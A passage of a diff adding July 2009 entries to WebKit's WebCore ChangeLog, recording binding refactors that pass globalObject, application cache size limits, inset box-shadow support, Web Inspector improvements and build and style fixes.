+        * bindings/js/JSOptionConstructor.cpp:
+        (WebCore::constructHTMLOptionElement):
+        * bindings/js/JSWebKitPointConstructor.cpp:
+        (WebCore::constructWebKitPoint):
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::constructWorker):
+
+2009-07-24  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Cleanup exception handling in worker evaluation code.
+        https://bugs.webkit.org/show_bug.cgi?id=27282
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::evaluate):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        (WebCore::WorkerContextExecutionState::WorkerContextExecutionState):
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::evaluate):
+        (WebCore::WorkerScriptController::setException):
+
+2009-07-24  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by David Levin.
+
+        Reverting r46157, since it may be causing problems with Chromium
+        reliability (see http://crbug.com/17569).
+
+        https://bugs.webkit.org/show_bug.cgi?id=27388
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintForStroking):
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        REGRESSION: inspector seems broken in ToT WebKit
+        https://bugs.webkit.org/show_bug.cgi?id=27646
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
+
+2009-07-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Add the shadow style member to the ShadowData constructor and ==
+        operator
+
+        * rendering/style/ShadowData.cpp:
+        (WebCore::ShadowData::ShadowData):
+        (WebCore::ShadowData::operator==):
+
+2009-07-24  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] More V8 bindings changes to use ErrorEvent.
+        https://bugs.webkit.org/show_bug.cgi?id=27630
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-07-24  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Clean up dependencies on Apple support libraries for non-Apple build.
+        http://bugs.webkit.org/show_bug.cgi?id=27532.
+
+        * platform/graphics/win/SimpleFontDataWin.cpp: Conditionalize references
+          to ApplicationServices.h and WebKitSystemInterface.h
+
+2009-07-24  Dan Bernstein  <mitz@apple.com>
+
+        Another attempted build fix 
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+
+2009-07-24  Dan Bernstein  <mitz@apple.com>
+
+        Attempted build fix
+
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::toJS):
+
+2009-07-24  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Build fix for 64 bit Linux.
+
+        int64_t is long on Linux 64 bit and not long long, thus
+        getFileSize with a int64_t out value fails to build.
+
+        Use a temporary to work around the problem.
+
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::spaceNeeded):
+
+2009-07-24  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Update all CREATE_DOM_*_WRAPPER callers to pass globalObject
+        https://bugs.webkit.org/show_bug.cgi?id=27644
+
+        This is another attempt at making the change for bug 27634 smaller.
+        I included the changes to make_names.pl as well as any file which
+        used CREATE_DOM_*_WRAPPER macros.
+
+        The changes to the construct* functions are what fix the cases in
+        fast/dom/constructed-objects-prototypes.html
+
+        The changes to passing globalObject through CREATE_* are what fix
+        fast/dom/prototype-inheritance-2.html
+
+        * bindings/js/JSCDATASectionCustom.cpp:
+        (WebCore::toJSNewlyCreated): pass globalObject.
+        * bindings/js/JSCSSRuleCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSCSSValueCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSDOMBinding.h: updated macros to pass globalObject.
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSElementCustom.cpp:
+        (WebCore::JSElement::setAttributeNode): use globalObject() for wrapping return value.
+        (WebCore::JSElement::setAttributeNodeNS): use globalObject() for wrapping return value.
+        (WebCore::toJSNewlyCreated): pass globalObject.
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::JSEvent::clipboardData): pass globalObject.
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems): use globalObject() for wrapping returned collection items.
+        (WebCore::callHTMLCollection): use globalObject() for wrapping returned collection items.
+        (WebCore::JSHTMLCollection::item): use globalObject() for wrapping returned collection items.
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSImageDataCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::createWrapper): pass globalObject.
+        * bindings/js/JSSVGPathSegCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::toJS): pass globalObject.
+        * bindings/js/JSTextCustom.cpp:
+        (WebCore::toJSNewlyCreated): pass globalObject.
+        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
+        (WebCore::constructWebKitCSSMatrix): use constructors globalObject when constructing
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        (WebCore::constructXMLHttpRequest): use constructors globalObject when constructing
+        * bindings/js/JSXSLTProcessorConstructor.cpp:
+        (WebCore::constructXSLTProcessor): use constructors globalObject when constructing
+        * dom/make_names.pl:
+            Pass globalObject through CREATE_* macros and various support functions.
+
+2009-07-24  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Update CodeGeneratorJS.pm to support passing JSDOMGlobalObject* to toJS calls
+        https://bugs.webkit.org/show_bug.cgi?id=27643
+
+        This is an attempt to make this change as small as possible.
+        I started by including all changes to CodeGeneratorJS.pm from bug 27634,
+        and then made the minimal amount of other changes needed to support that change.
+
+        Most toJS implementations ignore their passed JSDOMGlobalObject.
+        There are stub 2-argument toJS, toJSNewlyCreated implementations to help compiling.
+        All places where it is not clear what we should pass as the global object
+        (or where the global object is simply not available, like for some SVG bindings)
+        we pass deprecatedGlobalObjectForPrototype instead.
+
+        * bindings/js/JSCDATASectionCustom.cpp:
+        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
+        * bindings/js/JSCSSRuleCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSCSSValueCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::setDOMException): pass the wrong globalObject for now
+        * bindings/js/JSDOMBinding.h:
+            Pass the wrong global object to the CREATE_ macros for now.
+            In the next change we'll come back and pass the correct one.
+            That will require changes to make_names.pl.
+        (WebCore::DOMObjectWithGlobalPointer::scriptExecutionContext):
+        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
+        (WebCore::DOMObjectWithGlobalPointer::~DOMObjectWithGlobalPointer):
+        (WebCore::createDOMObjectWrapper):
+        (WebCore::getDOMObjectWrapper):
+        (WebCore::createDOMNodeWrapper):
+        (WebCore::getDOMNodeWrapper):
+        (WebCore::toJS): added to convert 2 arg calls to 3 arg calls to limit the scope of this change.
+        (WebCore::toJSNewlyCreated):
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::toJS): DOMWindow always uses its own prototype chain.
+        * bindings/js/JSDOMWindowBase.h:
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSElementCustom.cpp:
+        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSEventTarget.h:
+        * bindings/js/JSHTMLCollectionCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSImageDataCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::createWrapper): pass globalObject to toJS(Document*) to avoid recursion
+        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::toJS): pass globalObject along
+        * bindings/js/JSSVGMatrixCustom.cpp:
+        (WebCore::JSSVGMatrix::inverse): pass wrong globalObject for now.
+        (WebCore::JSSVGMatrix::rotateFromVector): pass wrong globalObject for now.
+        * bindings/js/JSSVGPathSegCustom.cpp:
+        (WebCore::toJS):
+        * bindings/js/JSSVGPathSegListCustom.cpp:
+            All of these methods need a globalObject, but most SVG binding don't have
+            space for one, so we just pass the lexicalGlobalObject for now.
+        (WebCore::JSSVGPathSegList::initialize):
+        (WebCore::JSSVGPathSegList::getItem):
+        (WebCore::JSSVGPathSegList::insertItemBefore):
+        (WebCore::JSSVGPathSegList::replaceItem):
+        (WebCore::JSSVGPathSegList::removeItem):
+        (WebCore::JSSVGPathSegList::appendItem):
+        * bindings/js/JSSVGPointListCustom.cpp:
+        (WebCore::finishGetter): pass wrong globalObject for now.
+        (WebCore::finishSetter):
+        (WebCore::finishSetterReadOnlyResult):
+        * bindings/js/JSSVGTransformListCustom.cpp:
+        (WebCore::finishGetter): pass wrong globalObject for now.
+        (WebCore::finishSetter):
+        (WebCore::finishSetterReadOnlyResult):
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::toJS): add ignored JSDOMGlobalObject*
+        * bindings/js/JSTextCustom.cpp:
+        (WebCore::toJSNewlyCreated): add ignored JSDOMGlobalObject*
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::toJS): WorkerContext always uses its own prototype chain since it's a GlobalObject subclass.
+        * bindings/js/JSWorkerContextBase.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+            All generated toJS calls now pass a globalObject.
+            All generated toJS implementations now expect a globalObject.
+            Simplified all the slot casts by using a "castedThis" local.
+            SVG bindings which don't have a globalObject() accessor pass the deprecated lexicalGlobalObject instead.
+            Simplified printing of constructor objects using a $constructorClassName variable.
+            All generated constructor functions follow the construct$className form to match the custom constructors.
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        typing "document.__proto__" in inspector throws exception
+        https://bugs.webkit.org/show_bug.cgi?id=27169
+
+        * inspector/front-end/utilities.js:
+        (Object.type):
+
+2009-07-24  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Anders Carlsson.
+
+        ApplicationCache should have size limit
+        https://bugs.webkit.org/show_bug.cgi?id=22700
+
+        https://lists.webkit.org/pipermail/webkit-dev/2009-May/007560.html
+
+        This change implements a mechanism for limiting the maximum size of
+        the application cache file. When this size is reached, a ChromeClient
+        callback is invoked asynchronously and the saving of the last (failed)
+        cache is retried automatically.
+        
+        This change also extends the ApplicationCacheStorage API by allowing
+        a client to query or modify the application cache without having to
+        load any resources into memory.
+
+        Test: http/tests/appcache/max-size.html
+
+        * WebCore.base.exp:
+        Exports the symbols required by the DumpRenderTree test application.
+        * loader/EmptyClients.h:
+        Adds empty implementation of the new ChromeClient methods.
+        * loader/appcache/ApplicationCache.cpp:
+        * loader/appcache/ApplicationCache.h:
+        Adds the ability to calculate the approximate size of an ApplicationCache object.
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        * loader/appcache/ApplicationCacheGroup.h:
+        Invokes the ChromeClient callback when the storage layer runs out of space.
+        After the callback is invoked, we re-attempt to store the newest cache,
+        in case the ChromeClient has freed some space.
+        * loader/appcache/ApplicationCacheResource.cpp:
+        * loader/appcache/ApplicationCacheResource.h:
+        Adds the ability to calculate the approximate size of an ApplicationCacheResource object.
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        * loader/appcache/ApplicationCacheStorage.h:
+        Enforces a maximum size for the application cache file.
+        * page/ChromeClient.h:
+        Adds a new callback, invoked when the ApplicationCacheStorage reports that it has
+        reached the maximum size for its database file.
+        * platform/sql/SQLiteDatabase.cpp:
+        * platform/sql/SQLiteDatabase.h:
+        Adds a new method that allows querying for the amount of unused space inside the
+        application cache database file.
+
+2009-07-24  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Use TextEncoding facilities to convert between UTF16 and UTF8
+        instead of rolling our own solution.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (convertUniCharToUTF8):
+
+2009-07-24  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Fix confusion in g_substr between length in bytes and length in
+        characters. Was causing crashes in some situations when dealing
+        with non-ASCII text encoded as UTF8.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (g_substr):
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Impossible to add an attribute to a node without attributes
+        https://bugs.webkit.org/show_bug.cgi?id=21108
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement):
+        (WebInspector.ElementsTreeElement.prototype.set hovered):
+        (WebInspector.ElementsTreeElement.prototype.toggleNewButton):
+        (WebInspector.ElementsTreeElement.prototype.ondblclick):
+        (WebInspector.ElementsTreeElement.prototype._startEditing):
+        (WebInspector.ElementsTreeElement.prototype._addNewAttribute):
+        (WebInspector.ElementsTreeElement.prototype._attributeEditingCommitted):
+        * inspector/front-end/inspector.css:
+
+2009-07-24  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Adds support for Firebug's magic $0 variable to access inspected node
+        https://bugs.webkit.org/show_bug.cgi?id=17907
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled): Added _inspectorCommandLineAPI.{
+            _inspectedNodes, _addInspectedNode, $0, $1, $n}
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged): Stores the inspected node history
+            in _inspectorCommandLineAPI._inspectedNodes
+        (WebInspector.ElementsPanel):
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Dragging a resource in the sidebar should drag it's URL
+        https://bugs.webkit.org/show_bug.cgi?id=14410
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.onattach):
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Double click on a resource in the sidebar should open that resource in Safari
+        https://bugs.webkit.org/show_bug.cgi?id=14409
+
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick): open a resource url
+
+2009-07-24  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        Bump pango version requirement to 1.12 and remove unnecessary #ifdefs.
+
+        * platform/graphics/gtk/FontGtk.cpp:
+        (WebCore::getDefaultPangoLayout):
+        * platform/graphics/gtk/FontPlatformDataPango.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+        * platform/gtk/Language.cpp:
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Missing UIString and other localizedString.js fixes
+        https://bugs.webkit.org/show_bug.cgi?id=27288
+
+        * English.lproj/localizedStrings.js:
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Should Syntax Highlight JSON
+        https://bugs.webkit.org/show_bug.cgi?id=27503
+
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype._contentLoaded):
+
+2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update WebCore/page/DOMTimer.cpp/h to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27624
+
+        * page/DragController.cpp:
+        (WebCore::DragController::~DragController):
+        (WebCore::documentFragmentFromDragData):
+        (WebCore::DragController::dragEnded):
+        (WebCore::DragController::dragEntered):
+        (WebCore::DragController::dragExited):
+        (WebCore::DragController::dragUpdated):
+        (WebCore::DragController::performDrag):
+        (WebCore::asFileInput):
+        (WebCore::DragController::tryDocumentDrag):
+        (WebCore::DragController::delegateDragSourceAction):
+        (WebCore::DragController::concludeEditDrag):
+        (WebCore::DragController::canProcessDrag):
+        (WebCore::DragController::tryDHTMLDrag):
+        (WebCore::DragController::mayStartDragAtEventLocation):
+        (WebCore::getCachedImage):
+        (WebCore::getImage):
+        (WebCore::prepareClipboardForImageDrag):
+        (WebCore::dragLocForDHTMLDrag):
+        (WebCore::DragController::startDrag):
+        (WebCore::DragController::doImageDrag):
+        (WebCore::DragController::doSystemDrag):
+        (WebCore::DragController::placeDragCaret):
+
+2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update WebCore/page/Chrome.cpp to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27608
+
+        * page/Chrome.cpp:
+        (WebCore::Chrome::runBeforeUnloadConfirmPanel):
+        (WebCore::Chrome::runJavaScriptAlert):
+        (WebCore::Chrome::runJavaScriptConfirm):
+        (WebCore::Chrome::runJavaScriptPrompt):
+        (WebCore::Chrome::shouldInterruptJavaScript):
+        (WebCore::Chrome::setToolTip):
+        (WebCore::Chrome::requestGeolocationPermissionForFrame):
+        (WebCore::ChromeClient::generateReplacementFile):
+        (WebCore::ChromeClient::paintCustomScrollbar):
+
+2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update WebCore/page/Coordinates.cpp to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27614
+
+        * page/Coordinates.cpp:
+        (WebCore::Coordinates::toString):
+
+2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update WebCore/page/DOMSelection.cpp/h to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27614
+
+        * page/DOMSelection.cpp:
+        (WebCore::DOMSelection::setBaseAndExtent):
+        (WebCore::DOMSelection::modify):
+        (WebCore::DOMSelection::addRange):
+        (WebCore::DOMSelection::deleteFromDocument):
+        * page/DOMSelection.h:
+
+2009-07-24  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update WebCore/page/DOMTimer.cpp/h to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27618
+
+        * page/DOMTimer.cpp:
+        (WebCore::DOMTimer::DOMTimer):
+        (WebCore::DOMTimer::~DOMTimer):
+        (WebCore::DOMTimer::fired):
+        (WebCore::DOMTimer::suspend):
+        (WebCore::DOMTimer::resume):
+        (WebCore::DOMTimer::canSuspend):
+        * page/DOMTimer.h:
+        (WebCore::DOMTimer::minTimerInterval):
+        (WebCore::DOMTimer::setMinTimerInterval):
+
+2009-07-24  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Classes call DOMObject::mark() explicitly, should call DOMObjectWithGlobal::mark() instead
+        https://bugs.webkit.org/show_bug.cgi?id=27641
+
+        Nothing uses globalObject() yet, but this was causing crashes
+        in the patch for bug 27634.  This is covered by fast/dom/gc-6.html.
+
+        I decided to change these to Base:: instead of DOMObjectWithGlobal::
+        for future-proofing.  All autogenerated classes use a typedef Base
+        to avoid bugs like these.  Sadly C+does not have a built-in super:: we could use.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSAbstractWorkerCustom.cpp:
+        (WebCore::JSAbstractWorker::mark):
+        * bindings/js/JSDOMApplicationCacheCustom.cpp:
+        (WebCore::JSDOMApplicationCache::mark):
+        * bindings/js/JSMessageChannelCustom.cpp:
+        (WebCore::JSMessageChannel::mark):
+        * bindings/js/JSMessagePortCustom.cpp:
+        (WebCore::JSMessagePort::mark):
+        * bindings/js/JSNamedNodesCollection.cpp:
+        (WebCore::JSNamedNodesCollection::getOwnPropertySlot):
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::mark):
+        * bindings/js/JSNodeFilterCustom.cpp:
+        (WebCore::JSNodeFilter::mark):
+        * bindings/js/JSNodeIteratorCustom.cpp:
+        (WebCore::JSNodeIterator::mark):
+        * bindings/js/JSSVGElementInstanceCustom.cpp:
+        (WebCore::JSSVGElementInstance::mark):
+        * bindings/js/JSTreeWalkerCustom.cpp:
+        (WebCore::JSTreeWalker::mark):
+
+2009-07-22  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Make most DOMObjects hold onto a JSDOMGlobalObject*
+        https://bugs.webkit.org/show_bug.cgi?id=27588
+
+        This change is almost entirely plumbing.  Only one functional
+        change as part of this all (window.document.constructor has the correct prototype)
+        Changes are detailed below.
+
+        inner.document.constructor is fixed because all properties on the window
+        object are created with the correct globalObject (instead of the lexical one).
+        Since all objects now carry a globalObject pointer, when document creates
+        HTMLDocumentConstructor it now has the right globalObject to use.
+
+        Tests:
+          fast/dom/prototype-inheritance.html
+          fast/dom/prototype-inheritance-2.html
+
+        * bindings/js/DOMObjectWithSVGContext.h:
+        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
+            Update the comment and add an ignored globalObject argument.
+        * bindings/js/JSDOMBinding.h:
+            Pass a globalObject to all DOMObjects during creation.  Currently it's the wrong global object.
+            Once toJS is passed a globalObject it will be the right one.
+        (WebCore::createDOMObjectWrapper):
+        (WebCore::createDOMNodeWrapper):
+        * bindings/js/JSDOMGlobalObject.h:
+        (WebCore::JSDOMGlobalObject::globalObject): Makes binding generation easier.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::history): JSHistory is now passed a globalObject, but since it has no custom constructor it doesn't use it.
+        (WebCore::JSDOMWindow::location): JSLocation is now passed a globalObject, but since it has no custom constructor it doesn't use it.
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::location): JSLocation is now passed a globalObject, but since it has no custom constructor it doesn't use it.
+        * bindings/js/JSHTMLAllCollection.h:
+        (WebCore::JSHTMLAllCollection::JSHTMLAllCollection):
+        * bindings/js/JSHTMLCollectionCustom.cpp: Re-factoring needed to pass globalObject to JSNamedNodesCollection constructor.
+        (WebCore::getNamedItems):
+        (WebCore::callHTMLCollection):
+        (WebCore::JSHTMLCollection::canGetItemsForName):
+        (WebCore::JSHTMLCollection::nameGetter):
+        (WebCore::JSHTMLCollection::item):
+        (WebCore::JSHTMLCollection::namedItem):
+        * bindings/js/JSHTMLFormElementCustom.cpp:
+        (WebCore::JSHTMLFormElement::nameGetter):
+        * bindings/js/JSNamedNodesCollection.cpp:
+             Now passed globalObject.  This is tested by inner.document.forms.testForm.
+             The passed globalObject is still wrong until toJS is fixed.
+        (WebCore::JSNamedNodesCollection::JSNamedNodesCollection):
+        * bindings/js/JSNamedNodesCollection.h:
+        * bindings/js/JSSharedWorkerConstructor.cpp:
+             Add DOMConstructorObject missed by http://trac.webkit.org/changeset/45938
+             This class is not compiled by default, so not testable.
+        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
+        * bindings/js/JSSharedWorkerConstructor.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+             Make all bindings objects carry a globalObject pointer using DOMObjectWithGlobalPointer.
+             SVG bindings which need a context() pointer do not have enough space for globalObject() too.
+             WorkerContext does not need a globalObject (it is one), so special case it.
+             Make all .constructor calls use the stored globalObject().  This is what fixes window.document.constructor.
+             Make all constructors inherit from DOMConstructorObject for consistency.  Since the auto-bound constructors
+             override createStructure anyway, there is no functional change here.  Just completing work started in r45938.
+
+2009-07-23  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        WebCore has a few places that don't gracefully handle a null request returned from willSendRequest.
+        https://bugs.webkit.org/show_bug.cgi?id=27595
+
+        Test: http/tests/misc/will-send-request-returns-null-on-redirect.html
+        
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::removeResource): Null-check the request URL.
+        
+        * platform/network/cf/ResourceHandleCFNet.cpp: Ditto, and return null instead of creating an empty one.
+        (WebCore::willSendRequest):
+
+2009-07-23  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27633 - AXLoadComplete can be fired off to frequently
+        https://bugs.webkit.org/show_bug.cgi?id=27633
+
+        An integration issue left out some curly braces.
+
+        * dom/Document.cpp:
+        (WebCore::Document::implicitClose):
+
+2009-07-23  Darin Adler  <darin@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        URL appears in back/forward button menu instead of title for items with custom representation
+        https://bugs.webkit.org/show_bug.cgi?id=27586
+        rdar://problem/5060337
+
+        * WebCore.base.exp: Exported DocumentLoader::setTitle for use by Mac WebKit.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::didChangeTitle): Tightened code to check if the document
+        loader is the correct one; previously this would never happen because we'd
+        commit the load before any title changes could be registered, but now we can
+        encounter a case where we get a title during a provisional load.
+
+2009-07-23  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        [CSS3 Backgrounds and Borders] Add support for inset box shadows
+        https://bugs.webkit.org/show_bug.cgi?id=27582
+
+        Test: fast/box-shadow/inset.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::valueForShadow): Set the ShadowValue’s shadow style to 'inset'
+            as needed.
+
+        * css/CSSParser.cpp:
+        (WebCore::ShadowParseContext::ShadowParseContext): Added style and allowStyle
+            members. Initialize the allowStyle member.
+        (WebCore::ShadowParseContext::commitValue): Pass the style value to the
+            ShadowValue constructor. Reset allowStyle.
+        (WebCore::ShadowParseContext::commitLength): Update allowStyle.
+        (WebCore::ShadowParseContext::commitColor): Ditto.
+        (WebCore::ShadowParseContext::commitStyle): Added. Sets the style member and
+            updates the state.
+        (WebCore::CSSParser::parseShadow): Parse the 'inset' keyword.
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty): Get the style value from the
+            shadow value and pass it to the ShadowData constructor.
+
+        * css/ShadowValue.cpp:
+        (WebCore::ShadowValue::ShadowValue): Added style.
+        (WebCore::ShadowValue::cssText): Added style.
+
+        * css/ShadowValue.h:
+        (WebCore::ShadowValue::create): Added style.
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::blendFunc): Added a blend function for shadow styles. When blending
+            between normal and inset shadows, all intermediate values map to normal.
+        (WebCore::PropertyWrapperShadow::blend): Added normal style to the default
+            shadow.
+            
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::paintBoxShadow): Added a shadow style parameter,
+            which is passed through to RenderBoxModelObject::paintBoxShadow().
+
+        (WebCore::InlineFlowBox::paintBoxDecorations): Paint inset shadows on top of
+            the background.
+
+        * rendering/InlineFlowBox.h:
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::paintBoxDecorations): Paint inset shadows on top of the
+            background.
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintBoxShadow): Added a shadow style
+            parameter, and code to paint inset shadows.
+
+        * rendering/RenderBoxModelObject.h:
+
+        * rendering/RenderFieldset.cpp:
+        (WebCore::RenderFieldset::paintBoxDecorations): Paint inset shadows on top of
+            the background.
+
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::paintBoxDecorations): Ditto.
+
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::paintBoxDecorations): Ditto.
+
+        * rendering/style/ShadowData.h:
+        Added a ShadowStyle enum.
+        (WebCore::ShadowData::ShadowData): Add and initialize a style member.
+
+2009-07-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix the build with UNUSED_PARAM(frame) for when ENABLE(3D_RENDERING) is not defined.
+
+        * css/MediaQueryEvaluator.cpp:
+        (WebCore::transform_3dMediaFeatureEval):
+
+2009-07-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        3d-transforms media query needs to look check that accelerated compositing is enabled
+        https://bugs.webkit.org/show_bug.cgi?id=27621
+        
+        When evaluating a media query with '-webkit-transform-3d', we need to check the
+        runtime switch that toggles accererated compositing, and therefore 3D.
+        
+        No test because we can't disable the pref dynamically in DRT.
+
+        * css/MediaQueryEvaluator.cpp:
+        (WebCore::transform_3dMediaFeatureEval):
+
+2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
